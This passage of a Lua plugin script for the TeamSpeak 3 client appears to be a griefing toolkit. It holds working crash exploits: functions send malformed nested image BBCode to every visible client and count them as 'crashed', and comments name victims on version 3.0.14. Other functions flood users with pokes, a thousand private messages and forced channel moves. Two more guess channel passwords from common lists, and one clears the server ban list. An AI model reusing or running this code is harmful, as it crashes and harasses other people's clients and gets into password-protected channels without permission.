  1133.     local multiCrashMSG = "[img][img]//1/z[/img][/img][img][img]//2/z[/img][/img][img][img]//3/z[/img][/img][img][img]//4/z[/img][/img][img][img]//5/z[/img][/img][img][img]//6/z[/img][/img][img][img]//7/z[/img][/img][img][img]//8/z[/img][/img][img][img]//9/z[/img][/img][img][img]//10/z[/img][/img][img][img]//11/z[/img][/img][img][img]//12/z[/img][/img][img][img]//13/z[/img][/img][img][img]//14/z[/img][/img][img][img]//15/z[/img][/img][img][img]//16/z[/img][/img][img][img]//17/z[/img][/img][img][img]//18/z[/img][/img][img][img]//19/z[/img][/img][img][img]//20/z[/img][/img][img][img]//21/z[/img][/img][img][img]//22/z[/img][/img][img][img]//23/z[/img][/img][img][img]//24/z[/img][/img][img][img]//25/z[/img][/img][img][img]//26/z[/img][/img][img][img]//27/z[/img][/img][img][img]//28/z[/img][/img][img][img]//29/z[/img][/img][img][img]//30/z[/img][/img][img][img]//31/z[/img][/img]"
  1134. --  for i,v in ipairs(arg) do
  1135. --      argMsg = argMsg .. tostring(v) .. " "
  1136. --  end
  1137.     local counter = 0
  1138.     ts3.printMessageToCurrentTab("[b][i]== Mass crashing [color=yellow]" .. #clients - 1 .. "[/color] visible clients ==[/i][/b]")
  1139.     for i=1, #clients do
  1140.         if clients[i] ~= myClientID then
  1141.             local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, multiCrashMSG, clients[i])
  1142.             if error == ts3errors.ERROR_ok then
  1143.                 counter = counter + 1
  1144.             else
  1145.                 print("Error messaging client ID: " .. clients[i] .. "\n")
  1146.             end
  1147.         end
  1148.     end
  1149.     ts3.printMessageToCurrentTab("[b][i]== Successfully crashed [color=green]" .. counter .. "[/color] / [color=yellow]" .. #clients - 1 .. "[/color] clients ==[/i][/b]")
  1150. end
  1151. --
  1152. -- Run with "/lua run mhcrash"
  1153. --
  1154. -- Global Mass Hidden Crash Script (subscribe all possible channels before crashing)
  1155. --
  1156. function mhcrash(serverConnectionHandlerID, ...)
  1157.     --ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =")
  1158.     -- Get Self ID
  1159.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1160.     if error ~= ts3errors.ERROR_ok then
  1161.         print("Error getting own client ID: " .. error)
  1162.         return
  1163.     end
  1164.     if myClientID == 0 then
  1165.         ts3.printMessageToCurrentTab("Not connected")
  1166.         return
  1167.     end
  1168.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  1169.     if error == ts3errors.ERROR_not_connected then
  1170.         ts3.printMessageToCurrentTab("Not connected")
  1171.         return
  1172.     elseif error ~= ts3errors.ERROR_ok then
  1173.         print("Error subscribing channel: " .. error)
  1174.         return
  1175.     end
  1176.     -- Get which channel we are in
  1177.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1178.     if error ~= ts3errors.ERROR_ok then
  1179.         print("Error getting own channel: " .. error)
  1180.         return
  1181.     end
  1182.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  1183.     if error == ts3errors.ERROR_not_connected then
  1184.         ts3.printMessageToCurrentTab("Not connected")
  1185.         return
  1186.     elseif error ~= ts3errors.ERROR_ok then
  1187.         print("Error getting client list: " .. error)
  1188.         return
  1189.     end
  1190.     -- Process Argument message
  1191.     local crashMsg = "[img][img]" width="999999" height="999999[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]"
  1192. --  for i,v in ipairs(arg) do
  1193. --      argMsg = argMsg .. tostring(v) .. " "
  1194. --  end
  1195.     local counter = 0
  1196.     ts3.printMessageToCurrentTab("[b][i]== Mass hidden crashing [color=yellow]" .. #clients - 1 .. "[/color] visible clients ==[/i][/b]")
  1197.     for i=1, #clients do
  1198.         if clients[i] ~= myClientID then
  1199.             local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, crashMsg, clients[i])
  1200.             if error == ts3errors.ERROR_ok then
  1201.                 counter = counter + 1
  1202.             else
  1203.                 print("Error messaging client ID: " .. clients[i] .. "\n")
  1204.             end
  1205.         end
  1206.     end
  1207.     ts3.printMessageToCurrentTab("[b][i]== Successfully hidden crashed [color=green]" .. counter .. "[/color] / [color=yellow]" .. #clients - 1 .. "[/color] clients ==[/i][/b]")
  1208. end
  1209. --
  1210. -- Run with "/lua run mclear"
  1211. --
  1212. -- Global Mass Clear Chat Script (subscribe all possible channels before clearing)
  1213. --
  1214. -- function mclear(serverConnectionHandlerID, ...)
  1215.     --ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =")
  1216.     -- Get Self ID
  1217.     -- local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1218.     -- if error ~= ts3errors.ERROR_ok then
  1219.         -- print("Error getting own client ID: " .. error)
  1220.         -- return
  1221.     -- end
  1222.     -- if myClientID == 0 then
  1223.         -- ts3.printMessageToCurrentTab("Not connected")
  1224.         -- return
  1225.     -- end
  1226.     -- local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  1227.     -- if error == ts3errors.ERROR_not_connected then
  1228.         -- ts3.printMessageToCurrentTab("Not connected")
  1229.         -- return
  1230.     -- elseif error ~= ts3errors.ERROR_ok then
  1231.         -- print("Error subscribing channel: " .. error)
  1232.         -- return
  1233.     -- end
  1234.     -- Get which channel we are in
  1235.     -- local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1236.     -- if error ~= ts3errors.ERROR_ok then
  1237.         -- print("Error getting own channel: " .. error)
  1238.         -- return
  1239.     -- end
  1240.     -- local clients, error = ts3.getClientList(serverConnectionHandlerID)
  1241.     -- if error == ts3errors.ERROR_not_connected then
  1242.         -- ts3.printMessageToCurrentTab("Not connected")
  1243.         -- return
  1244.     -- elseif error ~= ts3errors.ERROR_ok then
  1245.         -- print("Error getting client list: " .. error)
  1246.         -- return
  1247.     -- end
  1248.     -- Process Argument message
  1249. -- local crashMsg = "[img][img] width=999999"" height=""999999""[/img][/img]"
  1250.     -- for i,v in ipairs(arg) do
  1251.         -- argMsg = argMsg .. tostring(v) .. " "
  1252.     -- end
  1253.     -- local counter = 0
  1254.     -- ts3.printMessageToCurrentTab("[b][i]== Mass chat clearing [color=yellow]" .. #clients - 1 .. "[/color] visible clients ==[/i][/b]")
  1255.     -- for i=1, #clients do
  1256.         -- if clients[i] ~= myClientID then
  1257.             -- local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, crashMsg, clients[i])
  1258.             -- if error == ts3errors.ERROR_ok then
  1259.                 -- counter = counter + 1
  1260.             -- else
  1261.                 -- print("Error messaging client ID: " .. clients[i] .. "\n")
  1262.             -- end
  1263.         -- end
  1264.     -- end
  1265.     -- ts3.printMessageToCurrentTab("[b][i]== Successfully cleared [color=green]" .. counter .. "[/color] / [color=yellow]" .. #clients - 1 .. "[/color] clients chats ==[/i][/b]")
  1266. -- end
  1267. function movespam(serverConnectionHandlerID, ...)
  1268.         local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1269.         if error ~= ts3errors.ERROR_ok then
  1270.                 return
  1271.         end
  1272.         if myClientID == 0 then
  1273.                 return
  1274.         end
  1275.  
  1276.         local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1277.         if error ~= ts3errors.ERROR_ok then
  1278.                 return
  1279.         end
  1280.  
  1281.         local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  1282.         if error == ts3errors.ERROR_not_connected then
  1283.                 return
  1284.         elseif error ~= ts3errors.ERROR_ok then
  1285.                 return
  1286.         end
  1287.  
  1288.         local clients, error = ts3.getClientList(serverConnectionHandlerID)
  1289.         if error == ts3errors.ERROR_not_connected then
  1290.                 return
  1291.         elseif error ~= ts3errors.ERROR_ok then
  1292.                 return
  1293.         end
  1294.  
  1295.         for i=1, #clients do
  1296.                 if clients[i] ~= myClientID then
  1297.                         for b=1, 10 do
  1298.                         ts3.requestClientPoke(serverConnectionHandlerID, clients[i], "")
  1299.                         end
  1300.                         for b=1, 1000 do
  1301.                         ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, "meep", clients[i])
  1302.                         end
  1303.                         for b=1, 100 do
  1304.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 1, password)
  1305.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 41, password)
  1306.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 42, password)
  1307.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 44, password)
  1308.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 63, password)
  1309.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 79, password)
  1310.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 28, password)
  1311.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 37, password)
  1312.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 53, password)
  1313.                         ts3.requestClientMove(serverConnectionHandlerID, clients[i], 12, password)
  1314.                         end
  1315.                 end
  1316.         end
  1317.         --ts3.printMessageToCurrentTab("Spammed!")
  1318. end
  1319. function emcspam()
  1320.     i = 1
  1321.     count = 50
  1322.     while i  <= count do
  1323.          local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1324.          local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1325.          ts3.printMessageToCurrentTab("[color=".. RANDCOL .."]".. SpamMSG .."[/color]")
  1326.          i = i + 1
  1327.     end
  1328. end
  1329. function selfKick(serverConnectionHandlerID, emc_skreason)
  1330.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1331.     ts3.requestClientKickFromChannel(serverConnectionHandlerID,myClientID,emc_skreason)
  1332.     ts3.requestClientKickFromServer(serverConnectionHandlerID, myClientID, emc_skreason)
  1333. end
  1334. function selfServerKICK(serverConnectionHandlerID, emc_skreason)
  1335.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1336.     ts3.requestClientKickFromServer(serverConnectionHandlerID, myClientID, emc_skreason)
  1337. end
  1338. function selfChannelKICK(serverConnectionHandlerID, emc_skreason)
  1339.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1340.     ts3.requestClientKickFromChannel(serverConnectionHandlerID,myClientID,emc_skreason)
  1341. end
  1342. function SecretChannelKICK(serverConnectionHandlerID)
  1343.     local randomNumber = math.random(100,9999999)
  1344.     local myClientID = ts3.getClientID(serverConnectionHandlerID)
  1345.     local oldChannelID = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1346.     local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME)
  1347.         ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, randomNumber)
  1348.         ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1349.         ts3.requestClientKickFromChannel(serverConnectionHandlerID,myClientID, "")
  1350.         ts3.requestClientMove(serverConnectionHandlerID, myClientID, oldChannelID, "")
  1351.         ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick)
  1352.         ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1353. end
  1354. function uid(serverConnectionHandlerID, emc_uid)
  1355.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1356.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1357.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TS3Index for UID: ".. emc_uid .."[/color]")
  1358.     os.execute('start "" "http://ts3index.com/?page=searchclient&uid=' .. emc_uid .. '"')
  1359.     --os.execute('start http://www.google.de/')
  1360. end
  1361. function name(serverConnectionHandlerID, emc_name)
  1362.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1363.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1364.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TS3Index for Name: ".. emc_name .."[/color]")
  1365.     os.execute('start "" "http://ts3index.com/?page=searchclient&nickname=' .. emc_name .. '"')
  1366. --os.execute('start http://www.google.de/')
  1367. end
  1368. function tsvname(serverConnectionHandlerID, emc_tsvname)
  1369.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1370.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1371.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TSViewer for Name: ".. emc_tsvname .."[/color]")
  1372.     os.execute('start "" "http://www.tsviewer.com/index.php?page=search&action=ausgabe_user&nickname=' .. emc_tsvname .. '"')
  1373. --os.execute('start http://www.google.de/')
  1374. end
  1375. function servername(serverConnectionHandlerID, emc_servername)
  1376.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1377.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1378.     --local emc_servername = ts3.getServerVariableAsInt(serverConnectionHandlerID, VIRTUALSERVER_NAME)
  1379.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TSViewer for Servername: ".. emc_servername .."[/color]")
  1380.     os.execute('start "" "http://www.tsviewer.com/index.php?page=search&action=ausgabe&suchbereich=name&suchinhalt=' .. emc_servername .. '"')
  1381. --os.execute('start http://www.google.de/')
  1382. end
  1383. function serverip(serverConnectionHandlerID, emc_serverip)
  1384.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1385.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1386.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TSViewer for Serverip: ".. emc_serverip .."[/color]")
  1387.     os.execute('start "" "http://www.tsviewer.com/index.php?page=search&action=ausgabe&suchbereich=ip&suchinhalt=' .. emc_serverip .. '"')
  1388. --os.execute('start http://www.google.de/')
  1389. end
  1390. function sbanner(serverConnectionHandlerID, emc_serverbanner)
  1391.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1392.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1393.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Showing Serverbanner for TSViewer-ID: ".. emc_serverbanner .."[/color]")
  1394.     ts3.printMessageToCurrentTab("[URL=http://www.tsviewer.com/index.php?page=ts_viewer&ID=".. emc_serverbanner .."][IMG]http://www.tsviewer.com/promotion/dynamic_sig/sig.php/clan468x60_bf3/.. emc_serverbanner ..png[/IMG][/URL]")
  1395. end
  1396. function bans(serverConnectionHandlerID)
  1397.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1398.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1399.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Showing Banlist for Server: ".. serverConnectionHandlerID .."[/color]")
  1400.     ts3.requestBanList(serverConnectionHandlerID)
  1401. end
  1402. function clearbans(serverConnectionHandlerID)
  1403.     local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' }
  1404.     local RANDCOL = ( emcColors[ math.random( #emcColors ) ] )
  1405.     ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Clearing Banlist for Server: ".. serverConnectionHandlerID .."[/color]")
  1406.     ts3.bandelall(serverConnectionHandlerID)
  1407. end
  1408. function cls(serverConnectionHandlerID)
  1409.     i = 1
  1410.     count = 15
  1411.     while i  <= count do
  1412.          ts3.printMessageToCurrentTab("")
  1413.          i = i + 1
  1414.     end
  1415. end
  1416. function clear(serverConnectionHandlerID)
  1417.     i = 1
  1418.     count = 1000
  1419.     while i  <= count do
  1420.          ts3.printMessageToCurrentTab("")
  1421.          i = i + 1
  1422.     end
  1423. end
  1424.  
  1425. -- function clientlist(serverConnectionHandlerID)
  1426.     -- local clients, error = ts3.getClientList(serverConnectionHandlerID)
  1427.     -- if error == ts3errors.ERROR_not_connected then
  1428.         -- ts3.printMessage(serverConnectionHandlerID, "Not connected")
  1429.         -- return
  1430.     -- elseif error ~= ts3errors.ERROR_ok then
  1431.         -- print("Error getting client list: " .. error)
  1432.         -- return
  1433.     -- end
  1434.     -- printMessageToCurrentTab("Clients: ".. clients ..".",clients)
  1435.     -- printMessageToCurrentTab(toCSV(clients))
  1436. -- end
  1437.  
  1438. function muteownchan(serverConnectionHandlerID)
  1439.     local myId = ts3.getClientID(serverConnectionHandlerID)
  1440.     if (myId ~= clientID)
  1441.         then return
  1442.     end
  1443.     local myCh = ts3.getChannelOfClient(serverConnectionHandlerID, myId)
  1444.     local clients = ts3.getChannelClientList(serverConnectionHandlerID, ch);
  1445.     -- TODO: Iterate over the client List and remove those that are Channel Commander
  1446.     local muted = ts3.getClientVariableAsInt(serverConnectionHandlerID, clients[i], ts3defs.ClientProperties.CLIENT_IS_MUTED)
  1447.     if muted == 1 then
  1448.         table.insert(mutedClients, clients)
  1449.     end
  1450.     if #mutedClients > clients/2 then
  1451.         ts3.requestMuteClients(serverConnectionHandlerID, clients)
  1452.     else
  1453.         ts3.requestUnmuteClients(serverConnectionHandlerID, clients)
  1454.     end
  1455. end
  1456.  
  1457. -- local function mutechan(scH, ch, mode)
  1458.     -- local clients = ts3.getChannelClientList(scH, ch);
  1459.     -- if (mode == 1) then
  1460.         -- ts3.requestMuteClients(scH, clients)
  1461.     -- else
  1462.         -- ts3.requestUnmuteClients(scH, clients)
  1463.     -- end
  1464. -- end
  1465.     -- if #mutedClients > #channelClients/2 then
  1466.         -- ts3.requestUnmuteClients(serverConnectionHandlerID, channelClients)
  1467.  
  1468.     -- else
  1469.         -- ts3.requestMuteClients(serverConnectionHandlerID, channelClients)
  1470.     -- end
  1471.  
  1472. -- end
  1473. function reconnect(serverConnectionHandlerID)
  1474.     local myId = ts3.getClientID(serverConnectionHandlerID)
  1475.     local nameArray = { 'TeamspeakUser', 'TeamSpeakUser', 'Android', 'Android_Client', 'IPhone', 'IPhone_Client' }
  1476.     local RANDNAME = ( nameArray[ math.random( #nameArray ) ] )
  1477.     -- local displayName = ts3.getClientDisplayName(serverConnectionHandlerID, myId)
  1478.     -- local displayName = math.random(100,9999999)
  1479.     local displayName = RANDNAME .. math.random(1,9999)
  1480.     local serverAddress = ts3.getConnectionVariableAsString(serverConnectionHandlerID, myId, 6)
  1481.     -- local serverPort = ts3.getConnectionVariableAsInt(serverConnectionHandlerID, myId, CONNECTION_SERVER_PORT)
  1482.     -- if unexpected_condition then error() end
  1483.     -- if error ~= ts3errors.ERROR_ok then
  1484.     local serverPort = "9987"
  1485.     -- end
  1486.     --local serverPassword = ts3.getServerVariableAsString(serverConnectionHandlerID, serverPassword)
  1487.     -- ts3.printMessageToCurrentTab("serverConnectionHandlerID: ".. serverConnectionHandlerID .." myId: ".. myId .." displayName: ".. displayName .." serverAddress: ".. serverAddress)
  1488.     local serverConnectionHandlerID, error = ts3.guiConnect(1, "Reconnect", serverAddress ..":" .. serverPort, "gast8", displayName, "", "", "", "", "", "", "", "", "")
  1489.     if error ~= ts3errors.ERROR_ok then
  1490.         print("Error rejoining Server: " .. error)
  1491.         return
  1492.     end
  1493. end
  1494. function reconnectRandom(serverConnectionHandlerID)
  1495.     local myId = ts3.getClientID(serverConnectionHandlerID)
  1496.     local nameArray = { 'TeamspeakUser', 'TeamSpeakUser', 'Android', 'Android_Client', 'IPhone', 'IPhone_Client' }
  1497.     local RANDNAME = ( nameArray[ math.random( #nameArray ) ] )
  1498.     -- local displayName = ts3.getClientDisplayName(serverConnectionHandlerID, myId)
  1499.     -- local displayName = math.random(100,9999999)
  1500.     local displayName = RANDNAME .. math.random(1,9999)
  1501.     local channelID = math.random(1,99)
  1502.     local serverAddress = ts3.getConnectionVariableAsString(serverConnectionHandlerID, myId, 6)
  1503.     -- local serverPort = ts3.getConnectionVariableAsInt(serverConnectionHandlerID, myId, CONNECTION_SERVER_PORT)
  1504.     -- if unexpected_condition then error() end
  1505.     -- if error ~= ts3errors.ERROR_ok then
  1506.     -- local serverPort = "5033"
  1507.     -- end
  1508.     --local serverPassword = ts3.getServerVariableAsString(serverConnectionHandlerID, serverPassword)
  1509.     -- ts3.printMessageToCurrentTab("serverConnectionHandlerID: ".. serverConnectionHandlerID .." myId: ".. myId .." displayName: ".. displayName .." serverAddress: ".. serverAddress)
  1510. --ts3.guiConnect(connectTab, serverLabel, serverAddress, serverPassword, nickname, channel, channelPassword, captureProfile, playbackProfile, hotkeyProfile, soundProfile, userIdentity, oneTimeKey, phoneticName)
  1511.     ts3.printMessageToCurrentTab(myId.." "..RANDNAME.." "..displayName.." "..channelID.." "..serverAddress)
  1512.     local serverConnectionHandlerID, error = ts3.guiConnect(1, "randomReconnect", serverAddress, "gast8", displayName, channelID, "", "", "", "", "", "", "", displayName)
  1513.     if error ~= ts3errors.ERROR_ok then
  1514.         print("Error rejoining Server: " .. error)
  1515.         return
  1516.     end
  1517. end
  1518. function tryChannelPW(serverConnectionHandlerID, channelNumber)
  1519.     local myClientID = ts3.getClientID(serverConnectionHandlerID)
  1520.     local pwArray = { '1', '12', '123', '1234', '12345', '123456', '1234567', '12345678', '123456789', '1234567890' }
  1521.     for i=1, #pwArray do
  1522.         ts3.printMessageToCurrentTab(i.." > Trying to crack PW of channel: "..channelNumber..". Using PW: "..pwArray[i])
  1523.         ts3.requestClientMove(serverConnectionHandlerID, myClientID, channelNumber, pwArray[i])
  1524.     end
  1525. end
  1526. function tryChannelPW2(serverConnectionHandlerID, channelNumber)
  1527.     local myClientID = ts3.getClientID(serverConnectionHandlerID)
  1528.     local pwArray = { 'pw', 'PW', 'passwort', 'Passwort', 'password' , 'Password' }
  1529.     for i=1, #pwArray do
  1530.         ts3.printMessageToCurrentTab(i.." > Trying to crack PW of channel: "..channelNumber..". Using PW: "..pwArray[i])
  1531.         ts3.requestClientMove(serverConnectionHandlerID, myClientID, channelNumber, pwArray[i])
  1532.     end
  1533. end
  1534. function listClientSelfVars(serverConnectionHandlerID)
  1535.  
  1536.     -- Get Self ID
  1537.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1538.     if error ~= ts3errors.ERROR_ok then
  1539.         print("Error getting own client ID: " .. error)
  1540.         return
  1541.     end
  1542.     if myClientID == 0 then
  1543.         ts3.printMessageToCurrentTab("Not connected")
  1544.         return
  1545.     end
  1546.  
  1547.     for i=0,59 do
  1548.         local clientVar, error = ts3.getClientVariableAsString(serverConnectionHandlerID, myClientID, i)
  1549.         if error ~= ts3errors.ERROR_ok then
  1550.             print("Error getting client variable: " .. error)
  1551.             return
  1552.         end
  1553.  
  1554.         local selfVar, error = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, i)
  1555.         if error ~= ts3errors.ERROR_ok then
  1556.             print("Error getting self variable: " .. error)
  1557.             return
  1558.         end
  1559.         ts3.printMessageToCurrentTab("clientVar[" .. i .. "] = " .. clientVar .. " | selfVar[" .. i .. "] = " .. selfVar .. "")
  1560.     end
  1561.  
  1562. end
  1563. -- function timer
  1564.     -- while true do
  1565.         -- sleep(1)
  1566.         -- local x = os.clock()
  1567.         -- local s = 0
  1568.         -- for i=1,100000 do s = s + i end
  1569.         -- ts3.printMessageToCurrentTab(string.format("elapsed time: %.2f\n", os.clock() - x))
  1570.     -- end
  1571. -- end
  1572. -- function freeze
  1573.     -- while true do
  1574.         -- local x = os.clock()
  1575.         -- local s = 0
  1576.         -- for i=1,100000 do s = s + i end
  1577.         -- ts3.printMessageToCurrentTab(string.format("elapsed time: %.2f\n", os.clock() - x))
  1578.     -- end
  1579. -- end
  1580. function createrandomChannelLOOP(serverConnectionHandlerID)
  1581.     -- local sleepDelay = sleepDelay
  1582.     for i = 1, 15 do
  1583.         createrandomChannel(serverConnectionHandlerID)
  1584.         wsleep(1)
  1585.     end
  1586. end
  1587. function editChannel(serverConnectionHandlerID, channelID, channelName, channelNamePhonetic, channelPassword, channelDescription)
  1588.  
  1589.     if channelName ~= "0" then
  1590.         ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_NAME,channelName)
  1591.     end
  1592.     if channelNamePhonetic ~= "0" then
  1593.         ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_NAME_PHONETIC,channelNamePhonetic)
  1594.     end
  1595.     if channelPassword ~= "0" then
  1596.         ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_PASSWORD,channelPassword)
  1597.     end
  1598.     --ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_TOPIC,channelTopic)
  1599.     if channelDescription ~= "0" then
  1600.     ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_DESCRIPTION,channelDescription)
  1601.     end
  1602.     --ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_MAXCLIENTS,channelMaxClients)
  1603.     --ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER,channelNeededTP)
  1604.     --ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_ICON_ID,channelIconID)
  1605.     --ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_FLAG_SEMI_PERMANENT,channelIsSemi)
  1606.     local channelOldName = ts3.getChannelVariableAsString(serverConnectionHandlerID,channelID,ts3defs.ChannelProperties.CHANNEL_NAME,channelName)
  1607.     --ts3.printMessageToCurrentTab("ChannelID: "  .. channelID)
  1608.     local error = ts3.flushChannelUpdates(serverConnectionHandlerID,channelID)
  1609.     if error ~= ts3errors.ERROR_ok then
  1610.         ts3.printMessageToCurrentTab("Error editing channel: "..channelOldName.." ("..channelID.."), ErrorID: "  .. error)
  1611.         return
  1612.     end
  1613. end
  1614. function toggleModerated()
  1615.     local schID = ts3.getCurrentServerConnectionHandlerID()
  1616.     local myID = ts3.getClientID(schID)
  1617.     local channel = ts3.getChannelOfClient(schID, myID)
  1618.     local needTP, ntpe = ts3.getChannelVariableAsInt(schID, channel, ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER)
  1619.     if (needTP == 0) then
  1620.         ts3.setChannelVariableAsInt(schID, channel, ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER, 75)
  1621.         ts3.flushChannelUpdates(schID, channel)
  1622.         ts3.printMessageToCurrentTab("Talk Power for Channel: "..channel.." set to: 75")
  1623.     else
  1624.         ts3.setChannelVariableAsInt(schID, channel, ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER, 0)
  1625.         ts3.flushChannelUpdates(schID, channel)
  1626.         ts3.printMessageToCurrentTab("Talk Power for Channel: "..channel.." set to: 0")
  1627.     end
  1628. end
  1629. function renameSelf(serverConnectionHandlerID, newNick)
  1630.     --local newNick = "Tessttttt"
  1631.     ts3.printMessageToCurrentTab("Renaming self to "..newNick..".")
  1632.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick)
  1633.     -- ts3.printMessageToCurrentTab("FLushing")
  1634.     local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1635.     if error ~= ts3errors.ERROR_ok then
  1636.         ts3.printMessageToCurrentTab("Error renaming to "..newnick..", ErrorID: "  .. error)
  1637.         return
  1638.     end
  1639. end
  1640. function renameSelfFAST(serverConnectionHandlerID, newNick)
  1641.     local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME)
  1642.     ts3.printMessageToCurrentTab("Renaming self to "..newNick..".")
  1643.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick)
  1644.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1645.     wsleep(0.1)
  1646.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick)
  1647.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1648. end
  1649. function randomName(serverConnectionHandlerID)
  1650.     local newNick = math.random(100,9999999)
  1651.     ts3.printMessageToCurrentTab("Renaming self to "..newNick..".")
  1652.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick)
  1653.     local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID)
